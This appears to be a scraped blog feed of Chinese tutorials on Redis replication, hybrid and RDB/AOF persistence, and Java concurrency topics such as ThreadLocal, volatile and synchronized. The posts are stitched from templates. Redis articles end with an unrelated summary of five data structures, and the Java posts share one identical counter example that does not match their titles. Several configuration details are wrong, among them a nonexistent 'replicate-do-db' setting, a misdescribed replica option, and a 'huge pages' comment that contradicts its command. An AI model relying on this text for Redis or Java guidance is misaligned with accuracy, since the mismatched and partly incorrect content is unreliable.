│  offset:1000    offset:1001    offset:1002      offset:1200 │
│  ┌─────────┐   ┌─────────┐   ┌─────────┐     ┌─────────┐  │
│  │ SET a 1 │   │ SET b 2 │   │ DEL c   │ ... │ SET x 9 │  │
│  └─────────┘   └─────────┘   └─────────┘     └─────────┘  │
│                                                             │
│  master_repl_offset = 1200                                  │
└─────────────────────────────────────────────────────────────┘

Slave断线后重连，offset=1001：
- 1001在缓冲区内（1000~1200）
- 只需发送1001~1200的命令

Slave断线后重连，offset=500：
- 500不在缓冲区内（已超出）
- 触发全量同步

配置：

# 复制积压缓冲区大小（建议根据写入量调整）
repl-backlog-size 10mb

# Slave断线后，Master保持缓冲区的超时时间
repl-backlog-ttl 3600

#

3.2 PSYNC机制

Redis 2.8之前使用SYNC，只能全量同步。
Redis 2.8+ 使用PSYNC，支持增量同步。

// PSYNC命令处理
void syncCommand(client *c) {
    // 检查是否是PSYNC
    if (!strcasecmp(c->argv[0]->ptr, "psync")) {
        // 尝试部分重同步
        if (masterTryPartialResynchronization(c) == C_OK) {
            // 增量同步成功
            return;
        }
        // 失败，进行全量同步
    }
    
    // 全量同步流程
    // 1. 生成RDB
    // 2. 发送RDB
    // 3. 发送后续命令
}

#

3.3 Master的RunID

RunID是40字符的随机十六进制字符串：
- Master启动时生成
- 用于标识Master实例
- Slave记录Master的RunID

作用：
- 判断Slave是否之前同步过该Master
- 如果RunID不同，说明Master重启过，必须全量同步

#

3.4 传播写命令

Master执行写命令：

1. 修改内存数据
2. 写入AOF（如果开启）
3. 传播给所有Slave：
   
   对于每个Slave：
   - 写入Slave的输出缓冲区
   - 等待Slave的ACK（如果配置了min-slaves）

四、配置

#

4.1 Slave配置

# redis.conf (Slave)

# 方式一：配置文件中指定Master
replicaof 192.168.1.100 6379

# 方式二：启动参数
# redis-server --replicaof 192.168.1.100 6379

# 方式三：运行时配置
# redis-cli REPLICAOF 192.168.1.100 6379

# 如果Master有密码
masterauth password

# Slave只读（默认）
replica-read-only yes

# 复制优先级（Sentinel使用，数值小的优先提升为Master）
replica-priority 100

#

4.2 Master配置

# redis.conf (Master)

# 允许Slave数量（用于延迟计算）
min-replicas-to-write 1
min-replicas-max-lag 10

# 复制积压缓冲区
repl-backlog-size 10mb
repl-backlog-ttl 3600

# 禁用TCP_NODELAY（减少网络小包）
repl-disable-tcp-nodelay no

#

4.3 无磁盘复制（Diskless Replication）

Redis 2.8.18+ 支持直接通过网络发送RDB：

# Master直接通过网络发送RDB，不写入磁盘
repl-diskless-sync yes

# 延迟开始发送，等待多个Slave连接（减少重复RDB生成）
repl-diskless-sync-delay 5

适用场景：

  • 磁盘IO瓶颈
  • 云环境（磁盘性能差）

五、复制状态监控

#

5.1 查看复制状态

# Master视角
redis-cli INFO replication

# 输出：
# role:master
# connected_slaves:2
# slave0:ip=192.168.1.101,port=6379,state=online,offset=123456,lag=1
# slave1:ip=192.168.1.102,port=6379,state=online,offset=123456,lag=0
# master_repl_offset:123456

# Slave视角
redis-cli INFO replication

# 输出：
# role:slave
# master_host:192.168.1.100
# master_port:6379
# master_link_status:up
# master_last_io_seconds_ago:1
# master_sync_in_progress:0
# slave_repl_offset:123456

#

5.2 监控复制延迟

# 计算复制延迟
# Master的offset - Slave的offset = 延迟字节数

# 脚本示例
#!/bin/bash
MASTER_OFFSET=$(redis-cli -h master INFO replication | grep master_repl_offset | cut -d: -f2)
SLAVE_OFFSET=$(redis-cli -h slave INFO replication | grep slave_repl_offset | cut -d: -f2)

LAG=$(($MASTER_OFFSET - $SLAVE_OFFSET))
echo "复制延迟: $LAG bytes"

if [ $LAG -gt 1000000 ]; then
    echo "复制延迟过大！" | mail -s "Redis复制告警" admin@company.com
fi

#

5.3 查看Slave客户端

redis-cli CLIENT LIST | grep slave

# 输出：
# id=5 addr=192.168.1.101:port fd=8 name= age=3600 idle=1 flags=S db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=0 obl=0 oll=0 omem=0 events=r cmd=replconf

六、常见问题

#

6.1 复制延迟

原因：

  • 网络带宽不足
  • Master写入量过大
  • Slave性能差（单线程执行命令）
  • 大KEY操作阻塞

解决：

# 1. 检查网络
ping slave_ip

# 2. 检查Slave的slowlog
redis-cli SLOWLOG GET 10

# 3. 优化大KEY操作
# 避免大Hash、大List、大ZSet的批量操作

# 4. 增加复制积压缓冲区
CONFIG SET repl-backlog-size 100mb

# 5. 使用更快的网络
# 将Master和Slave放在同一机房/可用区

#

6.2 全量同步频繁触发

原因：

  • 复制积压缓冲区太小
  • Slave频繁断开重连
  • 网络不稳定

解决：

# 1. 增大复制积压缓冲区
CONFIG SET repl-backlog-size 100mb

# 2. 优化网络稳定性
# 使用专线或内网连接

# 3. 检查Slave为什么断开
redis-cli INFO stats | grep sync
# sync_partial_ok: 部分同步成功次数
# sync_partial_err: 部分同步失败次数
# sync_full: 全量同步次数

#

6.3 主从数据不一致

排查：

# 1. 检查复制延迟
redis-cli INFO replication | grep offset

# 2. 检查特定key
# Master
redis-cli GET key

# Slave
redis-cli GET key

# 3. 检查Slave是否可写
redis-cli CONFIG GET replica-read-only

#

6.4 复制中断

# 查看Slave日志
tail -f /var/log/redis/redis-server.log

# 常见错误：
# - MASTER aborted replication with an error: NOAUTH Authentication required.
#   解决：配置masterauth

# - MASTER disconnected
#   解决：检查网络，检查Master的最大客户端数

# - Can't SYNC while loading
#   解决：Slave正在加载RDB，等待完成

七、复制优化

#

7.1 树状复制

Master ──> Slave1 ──> Slave2
  │
  └────> Slave3 ──> Slave4

优势：减少Master的复制压力
劣势：级联延迟增加

#

7.2 复制过滤

# Slave只复制指定数据库（不推荐）
replicate-do-db 0

# Slave忽略指定命令（Redis 7.0+）
replica-ignore-disk-write-errors yes

#

7.3 读写分离

@Configuration
public class RedisConfig {
    
    @Bean
    public LettuceConnectionFactory redisConnectionFactory() {
        // 主节点
        RedisStaticMasterReplicaConfiguration config = 
            new RedisStaticMasterReplicaConfiguration("master", 6379);
        // 从节点
        config.addNode("slave1", 6379);
        config.addNode("slave2", 6379);
        
        return new LettuceConnectionFactory(config);
    }
}

八、总结

同步方式触发条件数据量对Master影响
全量同步首次复制、offset不在缓冲区全部数据大（BGSAVE）
增量同步断线重连、offset在缓冲区部分命令小
配置项推荐值说明
repl-backlog-size10-100MB根据写入量调整
repl-diskless-syncyes无磁盘复制
min-replicas-to-write1-2保证至少N个Slave

Redis主从复制的核心要点：

  1. PSYNC支持增量同步，减少全量同步
  2. 复制积压缓冲区大小决定断线重连效率
  3. 监控复制延迟，及时发现问题
  4. 避免大KEY操作导致复制阻塞
  5. 考虑树状复制减轻Master压力

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 Redis混合持久化策略 //redis-hybrid-persistence/ Redis混合持久化策略

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、为什么需要混合持久化

#

1.1 RDB和AOF的痛点

RDB的问题：

  • 可能丢失最后一次save后的数据
  • 频繁BGSAVE影响性能

AOF的问题：

  • 文件大，恢复慢
  • 重放所有命令耗时
# 仅AOF恢复100GB数据可能需要数小时
# 需要逐条执行命令

#

1.2 混合持久化的思想

AOF文件格式（混合持久化）：
┌─────────────────┬─────────────────────┐
│  RDB格式前缀     │  AOF格式增量命令     │
│  (全量快照)      │  (重写后的增量)      │
└─────────────────┴─────────────────────┘

恢复时：
1. 加载RDB前缀 → 快速恢复大部分数据
2. 执行AOF命令 → 恢复最新增量数据

优势：

  • 恢复速度接近RDB
  • 数据安全性接近AOF
  • 文件大小比纯AOF小

二、混合持久化配置

#

2.1 开启配置

# redis.conf (Redis 4.0+)

# 开启AOF
appendonly yes

# 开启混合持久化（默认yes）
aof-use-rdb-preamble yes

# AOF重写触发条件
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb

# RDB同时保存
save 900 1
save 300 10
save 60 10000

#

2.2 验证配置

# 查看混合持久化是否开启
redis-cli CONFIG GET aof-use-rdb-preamble
# 1) "aof-use-rdb-preamble"
# 2) "yes"

# 查看AOF文件信息
redis-cli INFO persistence
# aof_enabled:1
# aof_rewrite_in_progress:0
# aof_rewrite_scheduled:0

三、混合持久化的工作原理

#

3.1 AOF重写流程（混合模式）

触发AOF重写
    │
    ├── fork子进程
    │       │
    │       ├── 子进程：生成RDB格式数据
    │       │       └── 扫描内存，写入临时AOF文件
    │       │           （前部为RDB二进制格式）
    │       │
    │       └── 父进程：继续服务客户端
    │               └── 新命令写入AOF重写缓冲区
    │
    ├── 子进程完成写入
    │       │
    │       └── 通知父进程
    │
    ├── 父进程将重写缓冲区的命令追加到临时文件
    │       └── （后部为AOF文本格式）
    │
    ├── 原子替换旧AOF文件
    │
    └── 完成

#

3.2 生成的AOF文件格式

# 查看AOF文件头部（混合模式）
head -c 10 appendonly.aof | xxd

# 输出示例：
# 00000000: 5245 4449 5330 3031 30ff              REDIS0010.
# 
# 以"REDIS"开头，说明是RDB格式前缀

# 查看AOF文件中后部的文本命令
tail -20 appendonly.aof

# 输出示例：
# *2
# $6
# SELECT
# $1
# 0
# *3
# $3
# SET
# $4
# name
# $5
# Alice

#

3.3 文件结构详解

混合AOF文件：

┌─────────────────────────────────────────────────────────────┐
│ RDB前缀（二进制）                                            │
│ ┌─────────┬─────────┬─────────────────┬─────────┐          │
│ │ REDIS   │ VERSION │ SELECT DB 0     │ KEY-VALUE PAIRS │  │
│ │ magic   │ 0009    │                 │ (RDB编码)       │  │
│ └─────────┴─────────┴─────────────────┴─────────┘          │
│                                                             │
│ AOF后缀（文本）                                              │
│ ┌───────────────────────────────────────────────────────┐  │
│ │ *3\r
$3\r
SET\r
$4\r
name\r
$5\r
Alice\r
      │  │
│ │ ...                                                   │  │
│ └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

四、恢复机制

#

4.1 启动恢复流程

Redis启动
    │
    ├── 检查AOF文件是否存在
    │       │
    │      是
    │       │
    │       ├── 检查文件头是否为"REDIS"
    │       │       │
    │       │      是 → 混合AOF文件
    │       │       │
    │       │       ├── 加载RDB前缀
    │       │       │       └── 使用RDB加载机制（快速）
    │       │       │
    │       │       └── 加载AOF后缀
    │       │               └── 逐条执行命令（精确）
    │       │
    │       │      否 → 纯AOF文件
    │       │       └── 逐条执行所有命令
    │       │
    │      否
    │       └── 检查RDB文件
    │               └── 加载RDB文件
    │               └── 无文件则空启动

#

4.2 恢复速度对比

数据量纯RDB纯AOF混合持久化
1GB数秒数分钟数秒
10GB数十秒数十分钟数十秒
100GB数分钟数小时数分钟

混合持久化的恢复速度接近RDB！

五、生产环境配置建议

#

5.1 推荐配置

# redis.conf

# 基础配置
bind 0.0.0.0
port 6379
daemonize yes
pidfile /var/run/redis/redis-server.pid
logfile /var/log/redis/redis-server.log
dir /var/lib/redis

# RDB配置
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb

# AOF配置
appendonly yes
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no

# 混合持久化（核心）
aof-use-rdb-preamble yes

# AOF重写配置
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb

# 加载截断AOF（防止AOF损坏导致无法启动）
aof-load-truncated yes

# 内存配置
maxmemory 4gb
maxmemory-policy allkeys-lru

#

5.2 不同场景的配置

场景一：数据安全优先

# 金融、电商订单等
appendonly yes
appendfsync always          # 每次写入都fsync
aof-use-rdb-preamble yes
save ""                     # 禁用RDB自动save（减少fork）

场景二：性能优先

# 纯缓存场景
appendonly yes
appendfsync everysec
aof-use-rdb-preamble yes
save 900 1
save 300 10

场景三：大数据量

# 100GB+ 数据
appendonly yes
appendfsync everysec
aof-use-rdb-preamble yes
auto-aof-rewrite-percentage 50    # 增长50%就重写
auto-aof-rewrite-min-size 1gb     # 最小1GB

六、监控和维护

#

6.1 监控指标

# AOF文件大小
redis-cli INFO persistence | grep aof_current_size

# AOF重写状态
redis-cli INFO persistence | grep aof_rewrite

# RDB最后一次保存时间
redis-cli LASTSAVE

# 查看持久化统计
redis-cli INFO persistence

#

6.2 AOF重写监控脚本

#!/bin/bash
# monitor_aof.sh

AOF_SIZE=$(redis-cli INFO persistence | grep aof_current_size | cut -d: -f2)
AOF_BASE=$(redis-cli INFO persistence | grep aof_base_size | cut -d: -f2)

# 计算增长百分比
if [ $AOF_BASE -gt 0 ]; then
    PERCENTAGE=$(( (AOF_SIZE - AOF_BASE) * 100 / AOF_BASE ))
    echo "AOF增长: ${PERCENTAGE}%"
    
    if [ $PERCENTAGE -gt 150 ]; then
        echo "AOF增长过快，建议触发重写" | mail -s "Redis AOF告警" admin@company.com
    fi
fi

#

6.3 定期维护

# 1. 手动触发AOF重写（低峰期）
redis-cli BGREWRITEAOF

# 2. 监控重写进度
redis-cli INFO persistence | grep aof_rewrite_in_progress

# 3. 验证AOF文件完整性
redis-check-aof --fix appendonly.aof

# 4. 备份AOF文件
cp appendonly.aof /backup/redis/$(date +%Y%m%d)/

# 5. 备份RDB文件
cp dump.rdb /backup/redis/$(date +%Y%m%d)/

七、常见问题

#

7.1 AOF重写时内存暴涨

现象：BGREWRITEAOF期间内存使用翻倍

原因：

  • fork子进程的COW机制
  • 父进程持续写入，大量页面被复制

解决：

# 1. 控制Redis内存使用（不超过物理内存50%）
# 2. 关闭透明大页
echo never > /sys/kernel/mm/transparent_hugepage/enabled

# 3. 监控并重写时机选择
# 在低峰期触发重写

#

7.2 AOF文件损坏

现象：Redis无法启动，报错 “Bad file format”

解决：

# 1. 备份损坏的AOF文件
cp appendonly.aof appendonly.aof.corrupt

# 2. 修复AOF文件
redis-check-aof --fix appendonly.aof

# 3. 如果修复失败，从RDB恢复
# 删除AOF文件，从RDB启动
rm appendonly.aof
redis-server /etc/redis/redis.conf

# 4. 重新开启AOF
redis-cli CONFIG SET appendonly yes

#

7.3 混合持久化不生效

排查：

# 1. 检查Redis版本
redis-cli INFO server | grep redis_version
# 需要 >= 4.0

# 2. 检查配置
redis-cli CONFIG GET aof-use-rdb-preamble

# 3. 检查AOF文件头
head -c 5 appendonly.aof
# 应该输出 "REDIS"

八、总结

持久化方式恢复速度数据安全文件大小推荐
RDB快低小备份
AOF慢高大数据安全
混合快高中生产推荐

混合持久化的核心价值：

  1. 快速恢复：RDB前缀秒级加载
  2. 数据安全：AOF后缀保证不丢数据
  3. 文件紧凑：比纯AOF小很多
  4. Redis 4.0+默认开启：开箱即用

生产环境最佳实践：

  1. 开启混合持久化（aof-use-rdb-preamble yes）
  2. AOF使用everysec模式
  3. 同时配置RDB作为额外备份
  4. 定期验证备份可用性
  5. 监控AOF文件增长和重写状态

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 Redis持久化RDB与AOF //redis-rdb-aof-persistence/ Redis持久化RDB与AOF

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、持久化概述

#

1.1 为什么需要持久化

  • Redis数据存储在内存，进程退出数据丢失
  • 持久化将内存数据保存到磁盘
  • 用于重启恢复、备份、复制同步

#

1.2 两种持久化方式

方式说明优点缺点
RDB快照，保存某一时刻的数据文件紧凑，恢复速度快可能丢数据
AOF记录写操作日志数据安全性高文件大，恢复慢

二、RDB持久化

#

2.1 什么是RDB

RDB（Redis Database）是将某一时刻的内存数据生成快照保存到磁盘：

内存数据 ──fork──> 子进程 ──写入──> dump.rdb

#

2.2 触发方式

手动触发：

SAVE        # 阻塞主进程，直到完成
BGSAVE      # 后台执行，不阻塞

自动触发（配置文件）：

# redis.conf
save 900 1      # 900秒内至少有1个key变化
save 300 10     # 300秒内至少有10个key变化
save 60 10000   # 60秒内至少有10000个key变化

其他触发：

  • 执行FLUSHALL/FLUSHDB（如果配置了save）
  • 主从复制时，从节点发起同步
  • 执行SHUTDOWN且没有开启AOF

#

2.3 BGSAVE的fork机制

主进程                    子进程
  │                        │
  ├── fork() ─────────────>│
  │  （瞬间完成）            │
  │                        │
  │ 继续服务客户端           ├── 扫描内存
  │                        │    写入RDB文件
  │                        │
  │  <─────────────────────┤
  │    子进程退出            │  写入完成

fork的过程：

// Redis调用fork创建子进程
pid_t childpid = fork();
if (childpid == 0) {
    // 子进程：生成RDB文件
    rdbSave(filename);
    exit(0);
} else {
    // 父进程：继续处理客户端请求
}

Copy-On-Write（写时复制）：

fork后内存状态：

父进程页表          子进程页表
┌─────────┐        ┌─────────┐
│ 虚拟页1  │──┬──>  │ 虚拟页1  │──┬──> 物理页1
│ 虚拟页2  │──┼──>  │ 虚拟页2  │──┼──> 物理页2
└─────────┘  │      └─────────┘  │
             └───────────────────┘
             共享物理内存（只读）

父进程修改数据后：

父进程页表          子进程页表
┌─────────┐        ┌─────────┐
│ 虚拟页1  │──┬──>  │ 虚拟页1  │──┬──> 物理页1（旧）
│ 虚拟页2  │──┼──>  │ 虚拟页2  │──┘
└─────────┘  │      └─────────┘
             └──> 物理页2'（新，复制）
             
父进程修改虚拟页2时：
1. 复制物理页2到新页2'
2. 父进程页表指向新页2'
3. 子进程页表仍指向旧页2

COW的优势：

  • fork瞬间完成，不拷贝数据
  • 只有修改的页才会复制
  • 子进程看到fork时的数据快照

#

2.4 RDB文件格式

RDB文件结构：
┌─────────┬─────────┬─────────┬─────────┬─────────┬─────────┐
│  REDIS  │ VERSION │  SELECT │  DB DATA│  SELECT │  EOF    │
│  magic  │  0009   │  DB 0   │         │  DB 1   │ + CRC   │
│  5字节  │  4字节  │         │         │         │         │
└─────────┴─────────┴─────────┴─────────┴─────────┴─────────┘

DB DATA格式：
┌─────────┬─────────┬─────────┬─────────┐
│ EXPIRE  │  TYPE   │  KEY    │  VALUE  │
│ (可选)  │         │         │         │
└─────────┴─────────┴─────────┴─────────┘

#

2.5 RDB配置

# redis.conf

# RDB文件名
dbfilename dump.rdb

# RDB文件保存目录
dir /var/lib/redis

# 停止写入如果RDB失败
stop-writes-on-bgsave-error yes

# RDB文件压缩
rdbcompression yes

# RDB文件校验
rdbchecksum yes

#

2.6 RDB的优缺点

优点：

  • 文件紧凑，适合备份和灾难恢复
  • 恢复速度快（直接加载到内存）
  • 对性能影响小（子进程处理）

缺点：

  • 可能丢失最后一次save后的数据
  • fork时内存占用可能翻倍（COW期间）

三、AOF持久化

#

3.1 什么是AOF

AOF（Append Only File）记录每个写操作命令：

客户端: SET key value
Redis: 将命令追加到AOF文件

AOF文件内容：
*3\r
$3\r
SET\r
$3\r
key\r
$5\r
value\r

#

3.2 AOF持久化流程

客户端写命令
    │
    ▼
┌─────────────┐
│ AOF缓冲区   │  ← 先写入内存缓冲区
└──────┬──────┘
       │
       ├── sync策略 ──>
       │
       ▼
┌─────────────┐
│ AOF文件     │  ← 同步到磁盘
└─────────────┘

#

3.3 AOF同步策略

# redis.conf

# 每次写入都fsync（最安全，最慢）
appendfsync always

# 每秒fsync一次（推荐，平衡安全性和性能）
appendfsync everysec

# 由操作系统决定（最快，最不安全）
appendfsync no
模式说明数据丢失性能
always每次写入fsync0低
everysec每秒fsync<=1秒中
noOS决定可能很多高

推荐：everysec（默认）

#

3.4 AOF重写

为什么需要重写：

AOF文件不断增长：
SET key value1
SET key value2
SET key value3
...

同一个key多次修改，只有最后一次有效
需要压缩只保留最终状态

重写原理：

┌─────────────┐      fork      ┌─────────────┐
│  旧AOF文件   │  ──────────>   │  子进程     │
│  (很大)      │                │  读取内存   │
└─────────────┘                │  生成新AOF  │
                               └──────┬──────┘
                                      │
                                      ▼
                               ┌─────────────┐
                               │  新AOF文件   │
                               │  (紧凑)      │
                               └─────────────┘

重写期间，新的写命令同时写入：
1. 旧AOF文件（继续追加）
2. AOF重写缓冲区（子进程结束后追加到新文件）

触发方式：

# 自动触发
auto-aof-rewrite-percentage 100   # AOF文件增长100%
auto-aof-rewrite-min-size 64mb    # 最小64MB才触发

# 手动触发
BGREWRITEAOF

#

3.5 AOF配置

# 开启AOF
appendonly yes

# AOF文件名
appendfilename "appendonly.aof"

# 同步策略
appendfsync everysec

# 重写时是否禁用fsync（减少IO压力）
no-appendfsync-on-rewrite no

# 自动重写配置
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb

# 加载AOF时是否忽略末尾错误（如AOF被截断）
aof-load-truncated yes

# 使用RDB前缀加速AOF恢复（Redis 4.0+）
aof-use-rdb-preamble yes

#

3.6 AOF的优缺点

优点：

  • 数据安全性高（everysec只丢1秒）
  • AOF文件可读，可手动修复
  • 支持重写压缩

缺点：

  • 文件比RDB大
  • 恢复速度比RDB慢
  • 对性能有一定影响

四、RDB与AOF对比

特性RDBAOF
文件大小小（压缩）大（文本命令）
恢复速度快慢
数据安全可能丢数据只丢1秒（everysec）
对性能影响fork时短暂影响持续影响（fsync）
可读性二进制，不可读文本，可读可修复
适合场景备份、灾难恢复数据安全要求高

五、持久化方案选择

#

5.1 推荐方案

方案一：RDB + AOF（推荐）

# 同时开启RDB和AOF
save 900 1
save 300 10
save 60 10000

appendonly yes
appendfsync everysec
aof-use-rdb-preamble yes
  • RDB用于快速恢复和备份
  • AOF保证数据安全
  • Redis 4.0+支持混合持久化

方案二：仅RDB

save 900 1
appendonly no
  • 适合缓存场景，可容忍数据丢失
  • 性能最好

方案三：仅AOF

save ""
appendonly yes
appendfsync everysec
  • 数据安全要求极高
  • 禁用RDB save

#

5.2 混合持久化（Redis 4.0+）

aof-use-rdb-preamble yes

AOF文件格式：

┌─────────────────┬─────────────────────┐
│  RDB格式前缀     │  AOF格式追加命令     │
│  (全量数据)      │  (增量命令)          │
└─────────────────┴─────────────────────┘

恢复时：
1. 先加载RDB前缀（快速）
2. 再执行AOF命令（精确）

优势：

  • 恢复速度接近RDB
  • 数据安全性接近AOF

六、恢复流程

#

6.1 启动时恢复

Redis启动
    │
    ├── AOF开启？
    │       ├── 是 → 加载AOF文件
    │       │         └── 成功 → 启动完成
    │       │         └── 失败 → 报错退出（可配置截断加载）
    │       └── 否 → 加载RDB文件
    │                   └── 成功 → 启动完成
    │                   └── 失败 → 空数据启动
    │
    └── 如果AOF和RDB都存在，优先AOF

#

6.2 灾难恢复

# 1. 停止Redis
redis-cli SHUTDOWN

# 2. 备份当前文件
cp appendonly.aof appendonly.aof.bak
cp dump.rdb dump.rdb.bak

# 3. 恢复备份文件
cp /backup/dump.rdb /var/lib/redis/
# 或
cp /backup/appendonly.aof /var/lib/redis/

# 4. 启动Redis
redis-server /etc/redis/redis.conf

# 5. 检查数据完整性
redis-cli INFO keyspace

七、常见问题

#

7.1 fork耗时过长

现象：BGSAVE或AOF重写时，Redis卡顿

原因：

  • 内存过大，fork需要时间
  • 系统swap使用

解决：

# 监控fork耗时
redis-cli INFO stats | grep latest_fork_usec

# 优化：控制Redis内存大小
# 或启用大页（如果系统支持）
echo never > /sys/kernel/mm/transparent_hugepage/enabled

#

7.2 AOF文件过大

现象：AOF文件持续增长

解决：

# 手动触发重写
redis-cli BGREWRITEAOF

# 检查重写配置
redis-cli CONFIG GET auto-aof-rewrite*

#

7.3 持久化失败

现象：Redis日志报错 “Can’t save in background”

原因：

  • 内存不足（COW需要额外内存）
  • 磁盘空间不足
  • 权限问题

解决：

# 检查磁盘空间
df -h

# 检查内存
free -h

# 检查目录权限
ls -la /var/lib/redis/

八、总结

场景推荐方案
数据安全要求高RDB + AOF（everysec）
纯缓存场景仅RDB或关闭持久化
快速恢复混合持久化（4.0+）
大数据量RDB为主，定期备份

持久化配置的核心原则：

  1. 同时开启RDB和AOF（生产环境）
  2. AOF使用everysec模式
  3. 定期验证备份可用性
  4. 监控fork耗时和持久化状态
  5. 确保足够的磁盘空间和内存

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 Redis ZSet与SkipList跳表 //redis-zset-skiplist/ Redis ZSet与SkipList跳表

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、ZSet的编码方式

#

1.1 两种编码

编码结构适用条件
ziplist压缩列表元素少且值小
skiplist跳表+哈希表元素多或值大

#

1.2 编码转换条件

